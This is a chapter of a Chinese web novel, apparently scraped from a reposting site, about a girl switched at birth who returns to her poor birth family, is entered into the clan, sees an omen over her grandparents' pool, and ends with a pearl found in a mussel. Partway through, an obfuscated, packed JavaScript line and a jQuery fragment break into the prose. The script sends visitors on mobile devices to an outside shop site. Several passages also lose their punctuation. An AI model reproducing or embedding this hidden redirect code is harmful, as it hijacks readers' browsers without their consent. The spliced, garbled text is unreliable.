暮色更深沉了,陈家的院子却亮了起来。
灶台的火光旺盛,主屋的油灯也移到了院中来。
厨房成了女眷的主场,连老胡也被赶了出来。
他在院中站着陪公子爷,听他跟陈家父子——主要是陈寄羽谈天。
灶台边,刚喝完药的陈母原是想亲自掌勺的,奈何身体不允许。
陈松意也不愿她更劳累,于是便自己穿上了围裙,由母亲指导下厨,小莲在旁打下手。
看着火光下亭亭玉立、手持菜刀咄咄地切菜的女儿,陈母只觉得怎么看也看不够。
他们一家刚刚团聚,女儿从她这里问清楚了当初程家人是怎么上门,又是怎么把明珠带走的。
程家派了人,寻来当年在破庙给她跟程夫人接生的稳婆。
稳婆看过了明珠身上的胎记,欣喜地指出了这才是程夫人的女儿。
而陈家的亲生女儿额角有颗小痣,红色的,她一开始以为是血,擦了却擦不去,因此印象深刻。
如今在京中的那位松意小姐,额角正有那么一颗小痣。
他们说着松意小姐已经在程家被养了十六年,不是亲生的也胜似亲生的了。
夫人是舍不得她回来的。
而且陈家又这样破败,松意小姐在京中还议了亲,如今是官家千金,以后就是翰林家的媳妇,哪里不胜过回到这个家来千倍万倍?
陈母没有忘记这些话,她都记在了心里。
所以在高兴之后,她又小心翼翼地问女儿,这次回来是不是只为了来看看他们?
程家知不知道她回来?这样会不会影响她的婚事?
可怜天下父母心,她明明是最想这个女儿的,可高兴过后,第一反应却是这个。
她原本也想问问明珠在程家的近况,可松意只淡淡地提了一句“很好”,就没再多说什么,陈母于是也察觉到了,明珠现在跟他们是不同的人了。
——而且她被接回去那么久,要是想回来看他们的话,也早回来了。
就在她有些伤感的时候,女儿又风轻云淡地说:“我跟程家已经没有关系了,以后就能留在爹娘身边尽孝了。”
陈母不由得脱口而出:“怎么会这样?”
程家派来的人明明说松意千好万好
,程夫人如何不舍,怎么会舍得她离开?
她不是不高兴,也不是想占程家的好处,只是怕女儿因他们而耽误。
陈父则是一直听着妻女说话,此刻才开口:“没有关系便没有关系了,原也不是一路人。”
女儿回来就好,就算家里穷,也不会让她受委屈。
切好的肉片下锅,油锅滋滋的声音扯回了陈母的思绪。
她回过神来,忍不住看向了院中的风珉。
刚才在屋里她没好意思问,这个风公子真是生得又好,人又贵气。
他这样不远千里送女儿回来,松意又说她的婚事作废,那他是不是——
灶台前,陈松意拍了拍手,揭开旁边的锅盖。
大量的水蒸汽立刻冒了出来,露出里面一碗盈盈的蒸蛋。
她的厨艺属于会,但不精通。
第一世养在深闺,还有闲情逸致学做些点心,第二世就是行军埋锅造饭的水平了。
她知道自己的母亲厨艺好,但没想到只是得她指点,都能把一道普通的蒸蛋做得这么香。
小莲在蛋上加了香油,把蛋从锅里拿了出来。
陈松意听见母亲唤自己,于是转过身去。
就见她期期艾艾地道:“松意,那风公子——”
一看到她忍不住往风珉飘去的视线,陈松意就知道自己的母亲在想什么,只摇头道:“娘你别多想,三少他只是为人仗义,而且也不该多想,他的身份比起谢家公子更贵重,常人配不上的。”
比翰林家的公子还贵重?
陈母吃了一惊,无法想象那是有多不俗。
院中,身份尊贵的小侯爷正在静静地听陈寄羽说话。
陈父只是在旁笑呵呵地听着。
他不知风珉的身份,也听不懂他跟儿子说的话,只是看到自己的长子在京中来的贵公子面前也坦然大方,看到风公子眼中不时生出欣赏之意。
而风珉心中何止是欣赏,简直是震惊。
若说先前在路上跟陈寄羽的简单交谈,只是初步了解了这个人,那么现在他就是真切地看到了他的才学、意志跟理念。
原以为出身寒门,即便能去沧麓学院,优秀应该也不会太过优秀,可完全不是。
风珉感到在自
己面前的简直就是另一个谢长卿。
无论见地、心志、谋略陈寄羽都跟好友不相上下。
甚至因为两人成长环境的差异他更加脚踏实地更懂得灵活通变。
风珉原以为横渠书院天下第一自己的好友又是这一届的第一明年春闱定然没有敌手可是现在不过是江南沧麓书院的一个寒门学子
他不由得看向在灶台边做饭的陈松意正好见到她也从那边看了过来。
风珉收回目光想起来了这是她哥哥那没事了。
陈家或许会缺乏食材但绝不缺少各种调料。
用兄长带回来的食材陈松意做出了一道青椒银丝菜炒肉、一碗蒸蛋、一份卤肠、一份青菜再用猪肝、肉片等加上枸杞叶煮了汤就吃饭了。
吃饭用的圆桌摆在了院子里借着灯光与月光大家一起吃了这顿迟了许多的晚餐。
风珉的舌头金贵虽然在赶路时他并不挑剔但能让他给出“好吃”这个评价的美食并不多。
可是面前这桌菜就算是他也觉得好吃。
他端着碗看本来在儿女的映衬下显得无比平凡的陈家父母推翻了原本的想法。
——能生出这样的子女父母怎么会简单呢?
在灶台边跟小莲一起吃饭的老胡更是两眼放光。
这一手好厨艺想要养家糊口、过上好日子绝对没有问题啊!
陈家为什么还会这么败落?
唯一的可能就是陈娘子的身体不好吧。
用过晚饭陈家把房间收拾了出来。
除了厨房以外这个院子一共有三间房最好的那间属于程明珠。
她去了京城以后陈母也依然勤快地打扫将被褥、床单都拆洗过。
作为他们家的贵客风珉今夜就宿在这里老胡打个地铺。
陈松意则住了兄长的房间带着小莲一起。
陈寄羽把房间让给了妹妹自己洗漱一番之后就去了隔壁借宿。
晚上躺在木板床上旁边缩着身体侧睡的小莲早早就睡着了。
真气运行了一个周天的陈松意睁开眼睛看到头顶有着缝隙正好能看得到一点星辰。
这样
的房子,下雨的话一定是会漏雨的。
幸好今日是个晴天。
她又打通了手上的两条经脉,有了更多的底气应对接下来的事。
接下来还有很多的事情要做,家里的话……她想,起码就要先把漏雨的房子修缮一下吧。
还有,先前她在见到兄长时,看到了他原本的命数,这似乎是她的新能力。
但这好像不是对所有人都有效,起码在看自己的父母时,陈松意就没看到什么。
这个能力不错。
虽然对自身的消耗大,让她现在都还感觉到疲惫。
“回头得搞清楚是怎么触发的……”
陈松意想着,在身旁小莲细细的呼吸声中,闭上眼睛睡了过去。
第二日。
晨光才降临在这个村子里,“陈三郎的亲闺女从京城回来了”这个消息就传遍了整个陈家村。
屠户家的张娘子嗓门大,又是个快嘴,什么好事她知道了,旁人也就都知道了。
因此,都还没等陈父去找村里的族老,族老们就做好了准备。
跟张屠户的反应一样,陈家村的村民们都觉得陈三郎的这个女儿很好:“那可是京城大官的嫡女,多金贵,说回来就回来了,还认回了亲生父母,真是太孝顺了!”
“对,我听说她还是先去了沧麓书院,才跟着哥哥一起回来的,好像凭自己找不到家在哪呢。”
“咦,他们家的明珠不是被接去了京城吗?在陈家的时候,陈三郎跟陈娘子这么疼她,怎么不见她跟着一起回来?”
“是改了姓就忘了养父母跟穷亲戚,不想被拖累吧。”
“啧啧,真是不孝。”
陈家村人人心里都有杆秤,而且都是沾亲带故,谁都可以评判上几句。
他们凑在一起评价完陈家的亲女跟养女,又听到陈三郎要带女儿去宗祠正式认祖归宗,于是又跟着一起过去了。
在陈家宗祠,他们终于见到了这个从京城回来的官家千金。
她站在父母跟兄长身边,果然一看就是这家的人,而且被养得端庄大气,行礼的动作叫人看着就舒服,挑不出一丝错处。
看陈松意祭拜祖宗灵位,人群中也有人小声问道:“就这么跟京城那边断干净了啊?那荣华富
贵全都不要了吗?
有人似是知道内情,答道:“对,听说就是直接这样出来的,什么都没带。程家接回了亲生的,养女哪会落得好?意姑娘也硬气,把什么都还了回去,一分一毫都没带走。
“嗯……嗯?
原本听到知情人开口,所有人都边听边点头,可听着听着就发现这个声音不熟。
众人转头看去,见到说话的是个没见过的精壮汉子。
不过老胡脸皮厚,沉得住气,完全就当自己是陈家村的一份子,理直气壮地回视了所有疑惑的眼神。
直到有个刚好从镇上回来探亲的少妇说起那个程家大官,才把他们的注意力又吸引了过去:“……跟三叔家错换女儿的就是在州府当过经历的程老爷,他是在生了女儿之后调回的京城,然后步步高升,知道的人都夸他这个女儿是有福气的。
风珉站在人群里,听到关于陈松意的议论,倒是上了两分心,也认真听着。
今日陈家人都要来祠堂,他一个客人单独留在主家不方便,干脆就跟过来了。
那少妇仿佛对程家的事听过不少,又说了些关于陈松意生来就带着福气的佐证。
这种带着点传奇色彩的小道消息,百姓们最爱听了,所有人都听得很是专注。
听完之后,这些看着程明珠长大的陈家村村民就不免拿她跟陈松意比较了起来:“明珠倒像个命中带衰的,不然当年陈娘子明明有机会去镇上接她旧主留下的铺子,怎么就能黄了?
风珉眸光微闪,没有忍住好奇,侧耳去听。
他看着还跪在祠堂里的少女,心道隔得这么远她也听不到,就当是自己先给她听了。
到底是说人坏话,陈家村的人把声音压得很低。
风珉凝神细听,总算是听明白了那位程家的真千金这些年都给陈家带来了什么。
就说陈娘子有机会接手铺子、让全家都搬到镇上去这件事。
在那个当口,程明珠忽然生了病,陈父冒着雨去山上给她采药,失足摔了下来,摔断了腿。
本来陈娘子是要先独自去镇上打前站的,可丈夫摔断了腿,年幼的陈寄羽无论如何也不可能照顾得了两个伤员病号,于是她不得不放弃了这个机会。
和她共事的另一个
厨娘就捡了漏,从主家那里得了这个好事。
把铺子好好地经营了两年,她就攒够了钱盘了下来,把全家都搬到镇上去了。
而等陈娘子照顾了好家里,要再重新去找工作,主家也已经离开了。
一时间她又没有了着落,只能偶尔去给要摆宴席的富贵人家帮忙,打些零工。
原本可以转到县学去的陈寄羽也一直在村里耽误着。
幸好他是真的聪明,哪怕是在只有一个老童生教授的村塾里,迟了几年去考童生,也考过了。
就这样,长子耽搁了几年才去了县学。
为了供儿子读书,陈娘子又想到去做些小食,挑着担子到镇上去买。
这时候,又是程明珠不肯留在家里,硬要跟着去。
“这祸害精,在市集里把人家的摊子打翻了,赔了好大一笔钱,陈娘子咬着牙起早贪黑地忙了快两年才还清。结果刚好转一点,她又差点被拍花子的拍走,陈三郎跟陈娘子不得不放下刚有起色的生意,找了几个镇才把她找回来。”
“经过这事,陈娘子的身体就不好了。本来她挑担子去卖小食就不容易,起早贪黑的熬坏了身体,这几年就是在家里不出去了,只能靠陈三郎一个人种地。”
“陈家的秀才郎当初是有机会直接到州府去的,就是因为担心家里,才没去。他也是被这个妹妹连累了,原本考上童生后的第二年就是乡试,一鼓作气考出来就好了,结果为了找这个妹妹被马车撞伤,错过了乡试,又要等三年。”
风珉简直大开眼界,谁能想到这么多倒霉的事,能落在一个原本不错的家庭身上?
一旁的老胡也是听得目瞪口呆,这仔细追究……这些破事好像确实都是那个程家千金引发的。
陈寄羽好了以后,才在县学继续待了两年。
他的老师觉得不能埋没了自己这个很优秀、但家里运道不好的学生,于是厚着脸皮给同窗写了信,送了自己这个得意门生去沧麓书院。
那里离乡试的地方近,算是做个确保,保他能少些意外。
风珉意识到,这样算起来,陈寄羽等于去沧麓书院才一年,还是个中途转过去的编外学生。
那他在自己面前表现出的学识跟见地就更加难得了。
这样一
个人才如果今年秋天的乡试再有什么意外那就太可惜了。
若是陈松意跟程明珠没换回来那不好说不过现在——
风珉看着完成了仪式、从祖宗灵位前站起身来的少女她回来了就不会有变故了。
就算有
……
女儿认祖归宗陈父满面红光陈家的族老们也都带着笑容。
其他人也纷纷过来道贺若不是陈家的环境不好今天认回女儿他们定要起哄让陈父摆两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254387|151575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
桌大家一起吃顿好的。
陈三郎一家其实不是属于本地的陈家而是当年大旱的时候逃荒过来的非常落魄。
他的爹娘都死在了逃难途中还有一个姐姐跟一个弟弟也走散了。
当年只有六七岁大的陈父一个人抱着骨灰坛过来找到了陈家村被族老收留了下来。
他想给父母买一块坟地却买不起只能抱着骨灰坛到村子外面去想找个山清水秀的地方安葬他们。
可是他们逃来的地方大旱逃到这里却是大雨。
他人小没有力气天又路滑一失足就滚了下去怀里抱着的骨灰坛也掉进了下方的深潭里。
那个大雨天年幼的陈三郎看着父母的骨灰沉没的深潭无措地站在岸边大哭。
他没有办法把父母的骨灰坛子找回来最后只能哭着在这里立了碑。
“你的祖父祖母是因为家乡大旱活不下去才带着爹跟你的大姑、小叔一起来陈家村投奔这一支的。他们没能逃离大旱活着来到这里死后葬在这个水潭中也算是弥补了生前所愿。”
带着妻子儿女再来到潭边拜祭说起往事陈父依然眼中含泪。
多少年了他终于也在这里生根再次有了自己的家人。
陈松意站在这个深潭前眼中看到的却不是普普通通的一口潭水。
水面上倒映着蓝天碧云陈家祖父母的碑就立在旁边少女抬头向着四野望去见到无形的气自四面八方汇聚而来汇向这口深潭上空。
潭水之上已经有似鹿非鹿、似马非马的气成型。
它的脚下踏着散去的岁星两条长须在唯她所能见的维度里轻轻飘动。
“麒麟……”
陈松意眼中映出瑞兽的形状,心中情绪动荡。
她在风水一道上并没有什么造诣,如果不是在见到兄长后,开启了看破气数的能力,眼前这一片于她不过也就是普通的潭水。
天将乱,麒麟出,择明君圣主。
潭上已生麒麟之形,祖先葬在这里的后人,必出辅佐明君者。
看着这无形之气所组成瑞兽,她终于初步解开了自己身上的气运之谜。
辅佐明君、开创盛世的是她的兄长,或许她就是本应在兄长身边,让他顺利成长的人。
风珉怕她先前做的那些事,说的那些话是泄露天机。
但陈松意知道,眼前才是真正的天机。
潭边摆上祭品,烧起了黄纸。
陈父口中念念有词,告知泉下的父母,他们陈家的亲生骨肉已经认祖归宗,一家人从此团聚。
风珉跟老胡依旧站在一旁,充当着围观的见证者。
就连小莲都被陈松意唤了过去,让她也在她的祖父母面前见过了礼。
至此,她今日的认祖归宗就算结束了。
陈父把燃烧完的纸钱熄灭,又再次朝父母磕了一个头,然后带着妻子儿女从潭边上来。
才要高兴地回家,准备邀风珉中午喝两盅,陈母就拦住他。
“孩子他爹。她指了指丈夫的裤腿,“脏了,快去洗洗。
认祖归宗是大事,陈父穿的这一身是他最好的衣服,要是弄脏了洗不干净,以后再去什么重要场合,这身衣服就不好穿了。
陈父低头看了看自己裤子上沾到的泥土跟烟灰,朝左右看了看,没有再回到潭边去,而是指着前边道:“待会儿到河边去洗吧。
这条河跟他们屋后那条支流是相连的,只不过更宽也更深。
陈家村的人会在这里打鱼,洗衣服的时候还是会选择更小的那条支流。
陈父同大家说了一声,就先朝河边过去,准备把裤子上沾到的污渍洗干净了。
来到河边,他看了看河岸,选了一个稳妥的位置,谨慎地站了上去,然后弯下腰,准备掬水洗干净裤腿上的烟灰跟泥点。
可是没有想到他才一弯腰,就脚下一滑,整条腿直接向前蹿了下去。
等踩到底下的淤泥
,整个人已经剩胸口以上还在空气中,脚掌深深地陷了进去:“救、救命!”
后方众人见状,都连忙朝着河边奔来。
老胡跑得最快,跑到河边一把拉住了陈父的手:“陈老爷,没事吧?”
陈父脚陷在底下,感觉被什么夹住了,而且淤泥又软软的,踩着使不上力,虽然没有危险,但是凭自己也上不来。
他惊魂未定地道:“没事,我就是滑了一跤,不过脚好像被底下什么东西夹住了……”
陈母赶过来,听见他的话,第一反应就是水鬼索命,差点要晕过去。
“没事。”
陈松意忙扶住了母亲,看到哥哥也过去抓住了父亲的一只手,对老胡说:“我数到三,把人拉上来。”
小莲也很害怕,但风珉却觉得如果这边有危险,陈松意不可能不阻止,于是朝她看了一眼。
少女对他摇了摇头,表示确实没有什么危险。
于是,两人调转目光,看着老胡跟陈寄羽合力,一下子把陈父从淤泥里提了起来。
他的衣服都湿透了,脚上还带上了一个黑漆漆的东西,夹着他的脚。
小莲“啊”了一声,躲在陈松意身后颤声道:“那是什么呀小姐……”
老胡已经弯下腰去,从绑腿上摸出了一把匕首,伸手按上这个夹住陈父脚的东西,感觉表面硬硬的,又湿又滑:“这玩意……河蚌?”
他说着把匕首插进了河蚌中,用力地一撬。
这个个头不小的家伙就被撬开了,陈父的脚趾也得救了。
“好了,没事了。”老胡蹲在地上,仰头对陈母道,“不是水鬼,就是个河蚌。”
陈寄羽看着这个河蚌,却蹲下来伸手在蚌肉里摸索了一番,然后向老胡伸手:“胡兄,匕首。”
老胡:“给。”
接到他的匕首,陈寄羽在蚌肉上一划,将一颗浑圆的珍珠挖了出来。
看到这颗大珍珠,陈父傻了眼:“好……”
老胡接口道:“好大一颗珍珠啊!”
作者有话要说:如果这文是那种,穿书女主是陈娘子的话,那就是她靠做美食一步步开摊子开店,从村到镇再到县城州府,养出名臣儿子,带全家致富吧。-
次回!
风珉:明年才回京城,接下来你打算做什么?
松意(掏出锦囊):我夜观天象,这次应该去水路,找我师父点的锦囊接收者。-
我:滑下水,踩到河蚌,开出珍珠!
校对妹妹:这要是程明珠在,就只会摔倒断腿。
欠三更(
感谢在2022-05-2301:15:17~2022-05-2401:57:36期间为我投出霸王票或灌溉营养液的小天使哦~
感谢投出地雷的小天使:今天气场两米八、桃況1个;
感谢灌溉营养液的小天使:好好爱自己、sarbrina10瓶;虞若、囡宝儿、莫莫末默5瓶;CCCL、年飞过海、麻烦鬼、素守、啾啾jojo、布丁酒、会后空翻的喵喵、墨1瓶;
非常感谢大家对我的支持,我会继续努力的!